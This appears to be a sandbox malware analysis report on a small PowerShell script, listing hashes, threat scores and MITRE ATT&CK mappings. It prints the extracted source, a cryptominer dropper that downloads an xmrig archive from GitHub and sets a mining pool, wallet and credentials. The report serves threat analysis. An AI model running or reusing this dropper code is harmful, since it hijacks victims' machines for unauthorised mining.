3b3f7cfef7b01c59b314d8c758f93f327a5bd429984f3b37f9924129ccabaf7e

General

Target

windows-solo-new.ps1
Size

584B
Sample

240715-k5gmys1hne
MD5

cbe9af61ccafaaf719cf5c6dc6f571df
SHA1

3f0ef7274bd7f6bf792b7678484f60d25c2b3c08
SHA256

3b3f7cfef7b01c59b314d8c758f93f327a5bd429984f3b37f9924129ccabaf7e
SHA512

ee9eb58893765e1d6e89bafa196d99fca5980ecf28648fd79452ee1d48503fe343851fd776ddd53dc485e87da47677674caf173b7a5c98b325d51a878d8988c6

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

1

$algorithm = "yespowersugar"

2

$server = "stratum+tcp://yespowerSUGAR.mine.zergpool.com:6535"

3

$user = "sugar1qnw8fvx7qa67v78qwpwp6yerk67quv7k6vhm9us"

4

$password = "c=SUGAR,mc=SUGAR,m=solo,ID=Windows"

5

6

$wc = New-Object System.Net.WebClient

7

$wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'cpuminer.zip')

8

9

Add-Type -AssemblyName System.IO.Compression.FileSystem

10

[System.IO.Compression.ZipFile]::ExtractToDirectory('cpuminer.zip', 'cpuminer')

URLs

exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip

Targets

- Target
  
  windows-solo-new.ps1
- Size
  
  584B
- MD5
  
  cbe9af61ccafaaf719cf5c6dc6f571df
- SHA1
  
  3f0ef7274bd7f6bf792b7678484f60d25c2b3c08
- SHA256
  
  3b3f7cfef7b01c59b314d8c758f93f327a5bd429984f3b37f9924129ccabaf7e
- SHA512
  
  ee9eb58893765e1d6e89bafa196d99fca5980ecf28648fd79452ee1d48503fe343851fd776ddd53dc485e87da47677674caf173b7a5c98b325d51a878d8988c6
Score

8^/10

execution
- Blocklisted process makes network request
- Legitimate hosting services abused for malware hosting/C2
behavioral1 behavioral2

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Tasks

Sharing

General

Malware Config

Extracted

Targets

Blocklisted process makes network request

Legitimate hosting services abused for malware hosting/C2

MITRE ATT&CK Enterprise v15

Tasks

static1

behavioral1

behavioral2

We care about your privacy.